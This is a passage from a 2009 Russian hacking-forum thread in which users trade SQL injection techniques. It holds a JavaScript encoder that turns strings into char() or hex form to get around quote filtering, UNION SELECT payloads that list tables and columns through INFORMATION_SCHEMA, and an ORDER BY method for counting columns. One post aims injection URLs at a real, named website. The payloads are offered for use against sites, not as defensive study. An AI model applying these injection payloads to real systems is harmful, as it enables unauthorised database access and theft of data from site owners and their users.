ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #71  
Старый 12.04.2009, 17:24
Аватар для [underwater]
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме:
2185909

Репутация: 308
По умолчанию

Как написал Dr.Z3r0 не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE().Можно использовать альтернативные констуркции:
'string' =

char(115)+char(116)+char(114)+char(105)+char(110)+ char(103)
'string' = 0x737472696E67

Так вот собственно скрипт для этого:
(Конечно понятно что сейчас полно инструментов для кодирования строки в char() представление, но мне ,например, так удобней, тем более скрипт 0x123-представлние заменяет на %2b, что необходимо в случае GET запроса)

Код:
<html>
<head>
<title>String Convertor for SQL-query</title>
<script language="javascript">
function baseConverter (number,ob,nb) { 
	number = number.toUpperCase();
	var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	var dec = 0;
	for (var i = 0; i <=  number.length; i++) {
		dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1)));
	}
	number = "";
	var magnitude = Math.floor((Math.log(dec))/(Math.log(nb)));
	for (var i = magnitude; i >= 0; i--) {
		var amount = Math.floor(dec/Math.pow(nb,i));
		number = number + list.charAt(amount); 
		dec -= amount*(Math.pow(nb,i));
	}
	return number;
}

function recode(target)
{
 var s = new String(target);
 var out = new String("");
 var plus = "";
 if (document.forms[0].replaceplus.checked)
 { plus = "%2b"; } else { plus = "+"; }
 for(i=0;i<s.length;i++)
 {
  out += "char(" + s.charCodeAt(i) + ")"; 
  if (i+1<s.length){ out += plus; }
 }
 return out;
}
function recode16(target16)
{
 var s = new String(target16);
 var out = new String("0x");
 for(i=0;i<s.length;i++)
 {
  if (s.charCodeAt(i) < 10)
  {
   out += "0" + baseConverter(String(s.charCodeAt(i)),10,16);
  }
  else
  {
   out += baseConverter(String(s.charCodeAt(i)),10,16);
  }
 }
 return out;
}

</script>
<style type="text/css">
BODY {
	scrollbar-base-color: #252525;
	scrollbar-arrow-color: #bbbb88;
	COLOR: #e4e4e4;
	margin:	0;
	font-family: Verdana;
	font-size: 13px;
	background-color: #444444;
	}
td	{
	font-family: Verdana;
	COLOR: #e4e4e4;
	font-size: 13px;
}
SELECT {
	FONT-FAMILY: Verdana;
	FONT-SIZE: 10px;
	COLOR: #e4e4e4;
	font-weight: bold;
	BACKGROUND-COLOR: #444444;
}
TEXTAREA, {
	FONT-SIZE: 13px;
	FONT-FAMILY: Verdana;
	COLOR: #EEEEEE;
	BACKGROUND-COLOR: #252525;
}
.days {
	FONT-FAMILY: Verdana;
	border : none;
	FONT-SIZE: 10px;
	COLOR: #e4e4e4;
	BACKGROUND-COLOR: #222222;
}
.bginput {
	FONT-SIZE: 11px;
	FONT-FAMILY: Verdana;
	font-weight: bold;
	COLOR: #EEEEcc;
	BACKGROUND-COLOR: #252525;
}

A:link, A:visited, A:active {
	COLOR: #e2e5cc;
	text-decoration: none;
}
A:hover {
	COLOR: #FFffcc;
}
.thtcolor {
	COLOR: #f5f5f5;
}
.bright {
	BACKGROUND-COLOR: #dddddd;
	padding-bottom : 5px;
 	padding-left : 5px;
 	padding-right : 5px;
 	padding-top : 5px;
	FONT-SIZE: 11px;
}
.qu {
BACKGROUND-COLOR: #3b3b3b;
 border : thin inset;
 margin-bottom : 5px;
 margin-left : 15px;
 margin-right : 5px;
 margin-top : 5px;
 padding-bottom : 5px;
 padding-left : 5px;
 padding-right : 5px;
 padding-top : 5px;
border-width : 1px 1px 1px 1px;
}
</style>
</head>

<body>
<form>
<table border=0 cellpadding=2>
<tr><td align=center>source</td></tr>
<tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr>
<tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>0x0123-like result</td></tr>
<tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr>
<tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr>
</table>
</form>
</body>

</html>
 
Ответить с цитированием

  #72  
Старый 14.04.2009, 00:25
Аватар для Plaf-di
Plaf-di
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме:
95007

Репутация: -9
По умолчанию

а если таблицы Users нет
как написано тут:
Цитата:
аблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:

Вывод первой строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --

Вывод второй строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.

Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов
 
Ответить с цитированием

  #73  
Старый 14.04.2009, 23:11
Аватар для Tocsixu
Tocsixu
Новичок
Регистрация: 11.02.2009
Сообщений: 3
Провел на форуме:
55561

Репутация: 5
Отправить сообщение для Tocsixu с помощью ICQ
По умолчанию

Вообще автор написал хорошую статью... но не указан случай когда при переборе +order+by... Не дает нам результатов.
Пример
Код:
http://savelev.ru/journal/case/more/?id=1
мы наблюдаем ошибку в БД, но таблицы мы не можем узнать.
Код:
http://savelev.ru/journal/case/more/?id=-1+order+by+999--
Тогда перебор будет другим а точнее
Код:
http://savelev.ru/journal/case/more/?id=-1+union+select+1,2,3,4,5,0,1,version(),3,4,5--
 
Ответить с цитированием

  #74  
Старый 14.04.2009, 23:24
Аватар для Plaf-di
Plaf-di
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме:
95007

Репутация: -9
По умолчанию

меня наверно не понели!
я имею в веду вот это:
Цитата:
Вывод первой строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --

Вывод второй строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.

Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем…
 
Ответить с цитированием

  #75  
Старый 14.04.2009, 23:35
Аватар для Tocsixu
Tocsixu
Новичок
Регистрация: 11.02.2009
Сообщений: 3
Провел на форуме:
55561

Репутация: 5
Отправить сообщение для Tocsixu с помощью ICQ
По умолчанию

Что то я не пойму твой вопрос, ну дальше перебирай столбцы, пока не найдешь нужную таблицу, а если не получается перебирать столбцы, то попробуй сразу найти таблицу, запросом :
Код:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM user
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM User
и так далее...
 
Ответить с цитированием

  #76  
Старый 16.04.2009, 02:25
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Цитата:
Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем…
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name='user'
И закончили уже оффтоп наконец..

Последний раз редактировалось [x26]VOLAND; 16.04.2009 в 02:35..
 
Ответить с цитированием

  #77  
Старый 16.04.2009, 17:16
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

 
Ответить с цитированием

  #78  
Старый 16.04.2009, 17:29
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

Возможность быстрого подбора количества полей в MySQL
Допустим есть сайт, подверженный sql-инъекции
при запросе
index.php?id=1+order+by+6--
видим ошибку:
Unknown column '6' in 'order clause'
в данном случае, можно сформировать запрос:
index.php?id=1+order+by+1,2,3,4,5,6,7--
Т.е. сортировка будет идти поочередно, и при числе, которое больше количества полей, будет выдана ошибка, указывающая именно первое, превышающее количество полей число.
Если полей к примеру 4, и мы сформируем строку
index.php?id=1+order+by+1,2,3,4,5,6--
то мы увидим
Unknown column '5' in 'order clause'
Следовательно полей 4.

Недостатки:
1) Имеет смысл только когда выводится Unknown column 'число' in 'order clause'
2) Работает не всегда, к примеру, если в скрипте идет несколько поочередных запросов к БД с различным количеством извлекаемых полей, то в результате мы можем получить "не то" количество полей.


P.S.
Способ позволяет существенно сэкономить время, необходимое на подбор количества полей и, имхо, вполне удобен(представим, что полей 37, то сколько стандартных запросов придется сделать?)

Добавляем в заметки

Код:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,45,50,500--+

Последний раз редактировалось Iceangel_; 16.04.2009 в 17:31..
 
Ответить с цитированием

  #79  
Старый 16.04.2009, 17:45
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Знаем. Но всё равно молодец.
PHP код:
echo join(','range(1,50)); 

Последний раз редактировалось [x26]VOLAND; 16.04.2009 в 17:50..
 
Ответить с цитированием

  #80  
Старый 16.04.2009, 17:48
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

угу оч удобная вещь!!!
я обычно делаю так:
1.
найти скул и попробовать
Цитата:
order by 1 /* - верно
2.
если работает то проверяем
Цитата:
order by 1000 /* - ошибка
если не работает то скул вероятней всего есть!
ну и дальше...
3.
Цитата:
order by 10 /* - ошибка
Цитата:
order by 5 /* - ошибка
Цитата:
order by 2 /* - верно
Цитата:
order by 3 /* - ошибка
4.
значит в результате
Цитата:
union select 1,2 /*
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ